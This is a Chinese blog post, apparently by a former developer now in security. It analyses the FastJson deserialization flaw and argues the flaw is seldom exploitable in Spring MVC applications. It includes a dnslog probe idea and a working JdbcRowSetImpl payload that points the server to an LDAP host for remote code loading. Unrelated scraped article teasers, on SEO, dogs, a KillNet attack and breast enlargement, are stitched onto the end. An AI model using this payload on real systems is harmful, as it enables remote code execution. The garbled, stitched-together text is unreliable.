在FastJson<=1.2.24漏洞公布时我还是一个开发,对于这个消息我震撼至极,那时的FastJson的热度可谓如日中天。但是,对FastJson漏洞复现过后突然心就被伤了,那些把FastJson漏洞吹的捧上神坛的人是否真的知道他的影响程度?
本文将从漏洞运用所依赖的条件,怎么样发现此漏洞,漏洞产生的原理跟踪,以及评价这个漏洞四个维度去分析。
之所以先将这个模块是为了先泼大家一盆冷水,先降低大家人对FastJson漏洞的影响程度的认知。
众所周知
1.FastJson<=1.2.47是利用的先决条件
2.其二是
*** ON.parseObject(text2);
但是,满足第二个条件的难度你真的知道嘛?
我们编辑的POC在前端与后端进行交互的包中,意味着在后端拿到请求参数时进行 *** ON.parseObject(参数)进行参数的json转换。下面上代码
只有满足这样的条件,也就是在后端拿到用户请求的参数时,将其使用FastJson提供的 *** ON.parseObject(参数)这个API进行json格式化的时候才会产生我们所说的反序列化漏洞。
那么达成这个漏洞到底难不难?
真的很难,甚至是不可能。
因为现在Java开发的框架是S *** (Spring+SpringMvc+Mybatis),这一点不清楚的可以看我之前的文章了解。那么在访问层我们使用到的就是SpringMvc这个框架。做过开发的朋友都知道,SpringMVC提供了一个专门用于参数进行json格式化的注解叫做
@RequestBody
这个参数就是为了请求参数到达访问层时框架将其进行json格式化
所以实际的情况是这样的
相信很多朋友还会问,真的没有人采用之一种写法去写嘛?设问,采用框架的目的就在于方便快捷的开发,引入框架但是舍本逐末是为什么呢,如果开发中采用之一种写法肯定会被项目经理骂的,这一点无可厚非。
我说一个数据,市面上百分之95以上的Java程序员都不会之一种方式进行编写。
接下来我的想法是@RequestBody这个注解到底是怎么进行json格式化的
我追溯了整套它的解析流程,下面我只放上最核心的代码
@Override @Nullable public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { return handleInternal(request, response, (HandlerMethod) handler); }
这里又调用了handleInternal() *** ,RequestMappingHandlerAdapter重写了该 *** :
进入该 *** ,
if (this.synchronizeOnSession) { HttpSession session=request.getSession(false); if (session !=null) { Object mutex=WebUtils.getSessionMutex(session); synchronized (mutex) { mav=invokeHandlerMethod(request, response, handlerMethod); } } else { // No HttpSession available -> no mutex necessary mav=invokeHandlerMethod(request, response, handlerMethod); } } else { // No synchronization on session demanded at all... mav=invokeHandlerMethod(request, response, handlerMethod); }
可以看到最终调用的都是invokeHandlerMethod() *** ,此 *** 会处理@RequestMapping修饰的请求
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ServletWebRequest webRequest=new ServletWebRequest(request, response); try { WebDataBinderFactory binderFactory=getDataBinderFactory(handlerMethod); ModelFactory modelFactory=getModelFactory(handlerMethod, binderFactory); ServletInvocableHandlerMethod invocableMethod=createInvocableHandlerMethod(handlerMethod); //注意,此处往ServletInvocableHandlerMethod中设置了一系列的参数解析器 if (this.argumentResolvers !=null) { invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers); } if (this.returnValueHandlers !=null) { invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers); } invocableMethod.setDataBinderFactory(binderFactory); invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer); ModelAndViewContainer mavContainer=new ModelAndViewContainer(); mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request)); modelFactory.initModel(webRequest, mavContainer, invocableMethod); mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect); AsyncWebRequest asyncWebRequest=WebAsyncUtils.createAsyncWebRequest(request, response); asyncWebRequest.setTimeout(this.asyncRequestTimeout); WebAsyncManager asyncManager=WebAsyncUtils.getAsyncManager(request); asyncManager.setTaskExecutor(this.taskExecutor); asyncManager.setAsyncWebRequest(asyncWebRequest); asyncManager.registerCallableInterceptors(this.callableInterceptors); asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors); if (asyncManager.hasConcurrentResult()) { Object result=asyncManager.getConcurrentResult(); mavContainer=(ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0]; asyncManager.clearConcurrentResult(); if (logger.isDebugEnabled()) { logger.debug("Found concurrent result value [" + result + "]"); } invocableMethod=invocableMethod.wrapConcurrentResult(result); } //具体请求处理 *** invocableMethod.invokeAndHandle(webRequest, mavContainer); if (asyncManager.isConcurrentHandlingStarted()) { return null; } return getModelAndView(mavContainer, modelFactory, webRequest); } finally { webRequest.requestCompleted(); } }
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object returnValue=invokeForRequest(webRequest, mavContainer, providedArgs); setResponseStatus(webRequest); if (returnValue==null) { if (isRequestNotModified(webRequest) || getResponseStatus() !=null || mavContainer.isRequestHandled()) { mavContainer.setRequestHandled(true); return; } } else if (StringUtils.hasText(getResponseStatusReason())) { mavContainer.setRequestHandled(true); return; } mavContainer.setRequestHandled(false); Assert.state(this.returnValueHandlers !=null, "No return value handlers"); try { this.returnValueHandlers.handleReturnValue( returnValue, getReturnValueType(returnValue), mavContainer, webRequest); } catch (Exception ex) { if (logger.isTraceEnabled()) { logger.trace(getReturnValueHandlingErrorMessage("Error handling return value", returnValue), ex); } throw ex; } }
网上的大佬们总结分析了很多原理的问题,这篇文章其实主要是讲产生场景的问题,但是作为一个分析FastJson的文章 我觉得这一环必不可少,我就挑重点去讲讲吧。
因为Fastjson提供了autotype这个东西,在进行json解析时会自动根据要解析的类名解析成要解析的实际对象,我们使用dnslog验证这个漏洞存在,仔细查看poc会发现
type类型指定为
java.net.Inet4Address
这个类就是java用来提供icmp服务类,也就是ping类
然后值为相应的要被ping的地址
redbtz.dnslog.cn
如果目标地址被ping说明服务解析成功
那造成远程代码执行的原因也同理
{ "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.214.137:9999/Exploit", "autoCommit": true } }
将服务解析成远程调用,从而造成了远程代码执行。
这部分我会在后续文章详细讲解java中的远程命令执行,也就是rmi
回归文章开头说的,这个漏洞被炒得如日中天,却很少有人能用这个漏洞造成rce,根本原因还是这个漏洞的利用条件与实际应用场景不符。这个漏洞的闹剧应该在我这篇文章给大家一个结果,与其说是fastjson的漏洞不如说是 *** ON.parseObject()与@RequestBody两个 *** 之间我们到底用了谁,答案很显而易见,当然是后者,我们引用框架的目的就是为了快捷开发,这点SpingMVC做的比fastjson好,开发者也不会舍本逐末。
在前面多个文章发出来也是我从开发转安全找工作的一个阶段,后续停更了很长时间,也是因为我的私人原因我深表歉意。感谢很多读者给我介绍了很多工作,我目前就职地就不说了,怕官方觉得我营销号不给我发奖金。在接下来的时间内我会一直持续更新,也希望读者关注我,关注我的专辑。
谢谢大家,下期见~
7月9日, 2020年新疆乌苏市全国高考结束,76岁的金祖祥考完最后一门英语考试后从考场走了出来。金祖祥称,儿子是清华教授,自己参加高考是为了给孙子做个学习的榜样。金祖祥想学医,打算将来学成后为他人无...
搜索引擎优化人员在写博客的时候天天都要处理惩罚要害词。刚进入这个行业的初学者常常利用高度为指数的存眷单词。他们只发此刻时间运行一段时间后排名很弱。事实上,常常被忽略的长尾要害词是网站流量之王。 很少有...
大家应该都知道,自古以来狗狗都是人类最忠诚的朋友。它们的感情很简单,只要你对它好,它便会对你百分之百的信任和忠诚。它们会在你开心的时候陪你开心,在你难过时给予你安慰。因此狗狗也成了很多电影的题材,今天...
本文导读目录: 1、黑客帝国2双子星 2、黑客帝国里尼奥不是可以挡子弹?为啥在和双子星打的那段,在博物馆里,和小喽喽用各种冷兵器打的时候,用 3、黑客帝国里的“杀毒程序”特工厉害?还是“双子星...
日媒:日本政府网站遭网络攻击,这一黑客组织认领!背后之人有何意图?_百... 1、为了给日本的军国主义下马威。亲俄罗斯的黑客组织KillNet前一天下午在社交媒体上宣布,对日本政府网站实施网络攻击,并...
丰胸最有效地办法(正确的丰胸方法)胸部是吸引男士的一个渠道,而很多女性朋友们觉得自己的胸不够大或者胸型不够完美,所以在想方设法的丰胸,但是又怕丰胸的时候哪一步错了反而会对自己的身材造成损坏,那么如何正...